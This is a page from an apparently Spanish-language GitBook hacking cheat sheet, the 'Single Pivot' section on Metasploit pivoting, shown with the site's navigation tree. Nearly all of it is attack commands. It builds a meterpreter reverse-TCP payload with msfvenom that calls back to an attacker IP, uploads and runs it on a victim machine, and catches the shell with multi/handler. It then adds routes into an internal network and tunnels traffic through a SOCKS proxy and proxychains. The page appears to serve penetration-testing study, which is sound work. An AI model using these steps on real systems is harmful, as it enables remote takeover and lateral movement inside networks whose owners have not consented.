Cheat Sheet Hacking
  • 🌐Generic Ideas
    • File Transfer
    • Reverse Shell
    • Cracking Tricks
    • Tunneling and Port Forwarding
    • Reversing
    • OSINT
    • Phishing
  • 🐕‍🦺Port enumeration
    • Reconnaissance
    • 53 - DNS
    • 80,443 - Web
      • Identify php.ini file used
      • Exploitation
        • File Upload
        • XXS
    • 445 - SMB
    • 389, 636, 3268 - LDAP(S)
  • LINUX THINGS
    • Enumeration
    • Privilege Escalation
      • Writable $PATH
  • WINDOWS THINGS
    • Enumeration
    • Useful Commands
    • Active Directory Methodology
      • Commands to create AD environment
      • Attacks
        • Kerberos
          • User enumeration
          • ASREP-Roast
          • Kerberoasting
          • ASREP-Roast VS Kerberoasting
          • Golden Ticket
          • Resource Based Constrained Delegation
        • Secrets dump
        • Pass The Hash
        • Dump NTDS
        • Tickets
          • TGT
        • NTML Password Spray
        • LDAP Authentication
          • LDAP Pass-back
          • Rogue LDAP Server
        • SMB Relay (LLNMR, NTB-NS & WPAD)
        • NTLM Relay
        • Tools to exploit AD things
        • SCF Files
      • Kerberos
      • SAM & LSA secrets
      • Enumeration
        • BloodHound
        • PowerView
          • CheatSheet of Commands
        • Set DNS & DOMAIN
      • Resources
      • RunAs
      • Post Explotation
        • Persistence
        • Mimikatz
      • Common used tools
  • 🕳️Pivoting
    • Port Forwarding
    • Socks Forwarding
    • Routing
    • Web Fuzzing
    • Transfer files
    • Metasploit
      • Single Pivot
      • Double Pivot
    • Burp Suite
  • 🎛️Hardware
    • Physical attacks
  • 🌕Buffer Overflow
    • Introduction
    • Stack-Based
      • Introduction
        • Spiking
        • Fuzzing
        • Find Offset
        • Overwrite EIP
        • Find module
        • Find Badchars
        • Shellcode
  • 🐳Docker
    • Commands
    • Practical examples
  • 💡Useful things
    • Burp Suite
      • Proxy Activation
    • Linux Commands
    • Recreate multipart/form-data request
      • Python
      • HTML & netcat
    • TTY
    • Templates for reports (exams)
    • Tmux
    • Other cheat sheets
Powered by GitBook
On this page
  • Meterpreter Shell
  • Routing
  • SOCKS
  • Proxychains
  1. Pivoting
  2. Metasploit

Single Pivot

Meterpreter Shell

Crear consola meterpreter:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.20.4 LPORT=4434 -f ELF -o metaprieta

Subimos ese binario metaprieta al sistema victima.

Iniciamos listener de meterpreter en metasploit:

msfconsole
use /multi/handler
options
set LHOST 192.168.20.4
set LPORT 4434
set payload linux/x86/meterpreter/reverse_tcp
run

Ejecutamos binario que subimos a la máquina victima (le damos permisos de ejecución).

Ya obtendriamos nuestra shell meterpreter.

Routing

Obtenemos la interfaz de red a la cual queremos enrutar:

ipconfig
(CTRL^Z para enviar la tarea a segundo plano)
Background session 2? [y/N] (le decimos: y)

Enrutamos:

route add IP MASK SESSION

route add 172.18.100.17 255.255.255.0 2

O dentro de la misma sesión:

sessions -i 2
run post/multi/manage/autoroute

SOCKS

use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1111
set VERSION 5
run

Proxychains

Editamos el archivo y al final agregamos el tunel:

cat /etc/proxychains.conf
...
socks5 127.0.0.1 1111
PreviousMetasploitNextDouble Pivot

Last updated 5 months ago

🕳️